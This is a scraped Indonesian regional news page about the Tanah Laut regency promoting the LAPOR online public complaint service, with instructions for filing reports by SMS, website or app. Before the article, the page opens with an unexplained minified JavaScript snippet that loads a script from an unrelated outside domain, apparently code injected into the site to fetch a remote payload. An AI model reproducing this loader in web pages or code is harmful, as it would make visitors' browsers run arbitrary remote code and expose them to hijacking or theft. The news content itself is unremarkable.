(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PELAIHARI – Kritik dan masukan dari masyarakat dapat diterima langsung Pemerintah Kabupaten (Pemkab) Tanah Laut melalui Layanan Aspirasi dan Pengaduan Online Rakyat atau LAPOR.
Kesempatan masyarakat untuk bisa menyampaikan aspirasi kepada Pemkab ini diingatkan kembali Bupati Tanah Laut HM Sukamta saat meninjau sosialisasi LAPOR dari Dinas Komunikasi dan Informatika (Diskominfo) Tala dalam rangkaian Manunggal Tuntung Pandang di Desa Padang Luas, Kecamatan Kurau, Jumat (16/7/2021).
“Mungkin masyarakat belum mengetahui bahwa inilah kanal komunikasi antara pemerintah daerah dengan masyarakat,” ujar Bupati Tala dikutip dari tanahlaut.go.id.
Baca juga: Aksi Seorang Jambret Terhenti di Pos Penyekatan PPKM
Pengaduan yang dapat disampaikan secara anonim dan melindungi identitas pelapor itu tersedia dalam aplikasi sehingga mudah untuk diakses. Kritik dan saran nantinya akan masuk diteruskan kepada instansi yang bersangkutan.
“Ini yang perlu masyarakat ketahui, ini mempermudah dan nanti akan dijawab oleh pejabat yang berwenang,” ujar Bupati Sukamta.
Kepala Seksi Kemitraan, Penyiaran dan Informasi Publik pada Diskominfo Tala, Siti Mukaromah menjelaskan bahwa aduan masyarakat melalui LAPOR akan membantu proses perbaikan fasilitas pelayanan publik.
Diibaratkannya ketika pemerintah daerah memerlukan bantuan dana untuk memperbaiki fasilitas publik dari pemerintah pusat maka pengaduan-pengaduan masyarakat setempat yang terdata dalam LAPOR akan semakin memperjelas urgensi bantuan yang diperlukan.
Baca juga: Lonjakan Tajam Kasus Harian, Tim Satgas Covid-19 ‘Curiga’ Varian Delta Sudah Masuk Kalsel
“Semua laporan masuk ke pusat, sesuai SOP laporan akan ditanggapi maksimal tiga hari kerja, baru akan diteruskan ke pemerintah daerah, ke lokasi kejadian. Makanya laporan harus menguraikan dengan jelas kronologinya, waktu dan tempat kejadian, dan paling penting gunakan bahasa yang baik dan sopan,” jelas Siti Mukaromah.
Siti juga menyampaikan hingga saat ini jumlah laporan yang masuk untuk Tanah Laut masih rendah, sehingga diharapkan masyarakat dapat berpartisipasi aktif untuk menyampaikan aspirasinya melalui beberapa cara yaitu SMS ke 1708 dengan format dengan mengetik KTA (spasi) aduan, melalui website www.lapor.go.id dan melalui Aplikasi SP4N LAPOR yang tersedia di Playstore dan Apple Store. (kanalkalimantan.com/diskominfotala)
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.